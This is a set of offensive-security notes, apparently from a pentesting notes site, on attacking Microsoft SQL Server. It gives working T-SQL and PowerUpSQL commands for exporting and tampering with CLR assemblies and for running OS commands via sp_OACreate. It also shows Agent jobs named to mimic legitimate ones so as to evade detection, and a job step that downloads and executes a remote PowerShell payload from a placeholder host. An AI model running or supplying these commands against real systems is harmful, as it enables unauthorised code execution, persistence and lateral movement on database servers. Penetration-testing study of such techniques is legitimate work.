List Existing CLR Assemblies and CLR Stored Procedures
USE msdb;
SELECT SCHEMA_NAME(so.[schema_id]) AS [schema_name],
af.file_id,
af.name + '.dll' as [file_name],
asmbly.clr_name,
asmbly.assembly_id,
asmbly.name AS [assembly_name],
am.assembly_class,
am.assembly_method,
so.object_id as [sp_object_id],
so.name AS [sp_name],
so.[type] as [sp_type],
asmbly.permission_set_desc,
asmbly.create_date,
asmbly.modify_date,
af.content
FROM sys.assembly_modules am
INNER JOIN sys.assemblies asmbly
ON asmbly.assembly_id = am.assembly_id
INNER JOIN sys.assembly_files af
ON asmbly.assembly_id = af.assembly_id
INNER JOIN sys.objects so
ON so.[object_id] = am.[object_id]
Export a CLR Assembly that Exists in SQL Server to a DLL
#Export to file
Get-SQLInstanceDomain -Verbose | Get-SQLStoredProcedureCLR -Verbose -
Instance MSSQLSRV04\SQLSERVER2014 -Username sa -Password 'sapassword!' -
ExportFolder c:\temp | Format-Table -AutoSize
Modify a CLR DLL using dnSpy. Recompile.
o Ref:https://blog.netspi.com/attacking-sql-server-clr-assemblies/
Casestudy:https://malwaremusings.com/2013/04/10/a-look-at-some-ms-sql-
attacks-overview/
OLE is Object Linking and Embedding
SQL Server native scripting that allows calls to COM objects.
Requires sysadmin role by default
Can be executed by non-sysadmin with:
o GRANT EXECUTE ON OBJECT::[dbo].[sp_OACreate] to [public]
o GRANT EXECUTE ON OBJECT::[dbo].[sp_OAMethod] to [public]
Execute privileges on sp_OACreate and sp_OAMethod can also be used for
execution.
Pre-requisites
#Execute command
DECLARE @output INT
DECLARE @ProgramToRun VARCHAR(255)
SET @ProgramToRun = 'Run("calc.exe")'
EXEC sp_oacreate 'wScript.Shell', @output out
EXEC sp_oamethod @output, @ProgramToRun
EXEC sp_oadestroy @output
#PowerUpSQL
Invoke-SQLOSCmdCLR -Username sa -Password Password1 -Instance ops-
sqlsrvone –Command "powershell –e <base64encodedscript>" -Verbose
Agent Jobs
Reference:
https://docs.microsoft.com/en-us/sql/ssms/agent/sql-server-agent?view=sql-
server-ver15
Reverse-shell Article : https://www.optiv.com/explore-optiv-insights/blog/mssql-
agent-jobs-command-execution
Enumerate job names, and create similar names to avoid being detected.
SELECT
job.job_id, notify_level_email, name, enabled,
description, step_name, command, server, database_name
FROM
msdb.dbo.sysjobs job
INNER JOIN
msdb.dbo.sysjobsteps steps
ON
job.job_id = steps.job_id
#PowerUpSQL
Get-SQLAgentJob -Instance ops-sqlsrvone -username sa -Password Pass@123 -
Verbose
Creating a Job
#Powershell
USE msdb
EXEC dbo.sp_add_job @job_name = N'syspolicy_purge_history'
EXEC sp_add_jobstep @job_name = N'syspolicy_purge_history', @step_name =
N'test_powershell_name1', @subsystem = N'PowerShell', @command =
N'powershell.exe -e <encoded cmd>', @retry_attempts = 1, @retry_interval =
5
EXEC dbo.sp_add_jobserver @job_name = N'syspolicy_purge_history'
EXEC dbo.sp_start_job N'syspolicy_purge_history'
#EXEC dbo.sp_delete_job @job_name = N'syspolicy_purge_history'
#Reverse shell
USE msdb;
EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ;
EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name =
N'test_powershell_name1', @subsystem = N'PowerShell', @command =
N'powershell.exe -nop -w hidden -c "IEX ((new-object
net.webclient).downloadstring(''http://IP_OR_HOSTNAME/file''))"',
@retry_attempts = 1, @retry_interval = 5 ;
EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1';
EXEC dbo.sp_start_job N'test_powershell_job1';
#CmdExec
USE msdb
EXEC dbo.sp_add_job @job_name = N'cmdjob'
EXEC sp_add_jobstep @job_name = N'cmdjob', @step_name = N'test_cmd_name1',
@subsystem = N'cmdexec', @command = N'cmd.exe /k calc', @retry_attempts =
1, @retry_interval = 5
EXEC dbo.sp_add_jobserver @job_name = N'cmdjob'
EXEC dbo.sp_start_job N'cmdjob';
#EXEC dbo.sp_delete_job @job_name = N'cmdJob'
#PowerUpSQL
Invoke-SQLOSCmdAgentJob –Subsystem PowerShell -Username sa -Password
Password1 -Instance ops-sqlsrvone –Command "powershell –e
<b64encodedscript>" -Verbose –Subsystem <CmdExec/VBScript/Jscript>
Shared Service Accounts
OS Commands executed inside SQL Server run in the context of the SQL Server
service A/c
SQL Server service accounts have sysadmin privileges by default.
Organizations usually utilize a single domain account to run many SQL Servers.
If we compromise a single SQL Service account, we will also have compromised
all SQL servers using that shared A/c. This means sysadmin access to those
databases and possibly administrative access to the underlying OS since SQL
services usually run with local administrator privileges.
https://notes.offsec-journey.com/enumeration/database-services/microsoft-sql-server